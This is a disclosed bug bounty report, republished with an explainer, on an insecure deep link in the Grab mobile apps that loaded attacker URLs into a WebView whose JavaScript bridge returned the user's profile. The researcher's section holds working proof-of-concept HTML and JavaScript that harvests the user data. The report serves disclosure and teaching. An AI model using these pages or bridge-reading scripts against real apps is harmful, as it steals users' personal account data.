Skip to content
Info disclosure Disclosed report Intermediate

[Grab Android/iOS] Insecure deeplink leads to sensitive information disclosure

A deep link in the Grab app accepted an arbitrary URL and loaded it inside a built-in WebView that exposed a JavaScript bridge returning the logged-in user's data. An attacker could craft a link that, when opened, loaded attacker-controlled content in the WebView and read the user's account details.

bagipro Follow

Originally disclosed on HackerOne

High 7.1 View original
  • Triaged in 29 days
  • Fixed in 5 months
  • Paid in 41 days
  • Disclosed after 7 months

Summary by the program

A deeplink feature was found missing validation that led to sensitive information disclosure. Once triggered, the deeplink would direct users to load any attacker-controlled URL within a webview. The impact was further escalated as the webview contain sensitive information. A temporary patch was distributed shortly after the submission was verified and a permanent patch was released and completely rolled out soon after.

Grab appreciate @bagipro's contribution to our bug bounty program, @bagipro displayed strong mobile offensive security skills and detailed report which allowed us to quickly reproduce and validate the submission. As a mobile-first company, mobile security is our utmost focus, Grab look forward to seeing more of his creative bug reports to our program.

Summary by the researcher

I've found a set of possible deeplinks, one of them (HELPCENTER) could lead that an arbtrary URL was opened in a built-in browser in activity com.grab.pax.support.ZendeskSupportActivity using that code (should be used in an external browser/messenger)

HTML
<!DOCTYPE html>
<html>
<head><title>Page 1</title></head>
<body style="text-align: center;">
    <h1><a href="grab://open?screenType=HELPCENTER&amp;page=https://s3.amazonaws.com/edited/page2.html">Begin attack!</a></h1>
</body>
</html>

But the WebView had an interesting setting

Java
        mWebView.addJavascriptInterface(new com.grab.pax.support.ZendeskSupportActivity.WebAppInterface(this), "Android");

with method

Java
        @android.webkit.JavascriptInterface
        public final java.lang.String getGrabUser() {
            //...
            return com.grab.base.p167l.GsonUtils.m7210a(zendeskSupportActivity.getMPresenter().getGrabUser());
        }

I tested my code which forced Grab Passenger app to load https://s3.amazonaws.com/edited/page2.html page with HTML

HTML
<!DOCTYPE html>
<html>
<head><title>Page 2</title></head>
<body style="text-align: center;">
    <script type="text/javascript">
        var data;
        if(window.Android) { // Android
            data = window.Android.getGrabUser();
        }
        else if(window.grabUser) { // iOS
            data = JSON.stringify(window.grabUser);
        }

        if(data) {
            document.write("Stolen data: " + data);
        }
    </script>
</body>
</html>

I didn't reverse iOS app, but only opened https://help.grab.com/, grepped for getGrabUser and found

JavaScript
    public static initGrabUser() {
        if (Utils.Condition.isIOSApp()) {
            Stores.GrabUser.setGrabUser(window.grabUser);
        }

        if (Utils.Condition.isAndroidApp()) {
            Stores.GrabUser.setGrabUser(JSON.parse(Android.getGrabUser()));
        }
    }

It helped me to realize how to exploit iOS too :)

Tips: JS interfaces (on both platforms) have no origin policies, so if you have the ability to make an Open Redirect or XSS (i.e. run your own JS in the given WebView), it means you can access them!

The original report as published on HackerOne, by bagipro. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the deep link handler passed an unvalidated URL parameter into a WebView that exposed a JavaScript interface returning user data, with no origin restriction on the bridge.

Impact

An attacker could disclose the victim's Grab user information by luring them into opening a crafted deep link; the report does not show whether any further account actions were possible.

What the attacker needed

Victim opens a crafted link; app installed on Android or iOS

The fix

The report says a temporary patch and then a permanent patch were rolled out; it does not describe the fix.

How it was found

  1. Craft a page in an external browser or messenger containing a link to the app's deep link with a screen type and an attacker-hosted page URL.
  2. Open the link so the app launches its support activity and loads the attacker page in the built-in WebView.
  3. The attacker page calls the exposed JavaScript interface to retrieve the user's data.
  4. The page displays or exfiltrates the returned data.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A deep link is a special link that opens a specific screen inside an app instead of a website. Here the app trusted whatever web address the link carried and opened it in its own built-in browser, which also had a hidden bridge letting web pages ask the app for the user's profile. Because that bridge did not check which site was asking, a malicious page could request the data and send it to the attacker.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More by bagipro

View all

13 more disclosed reports, best first.

More from Grab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.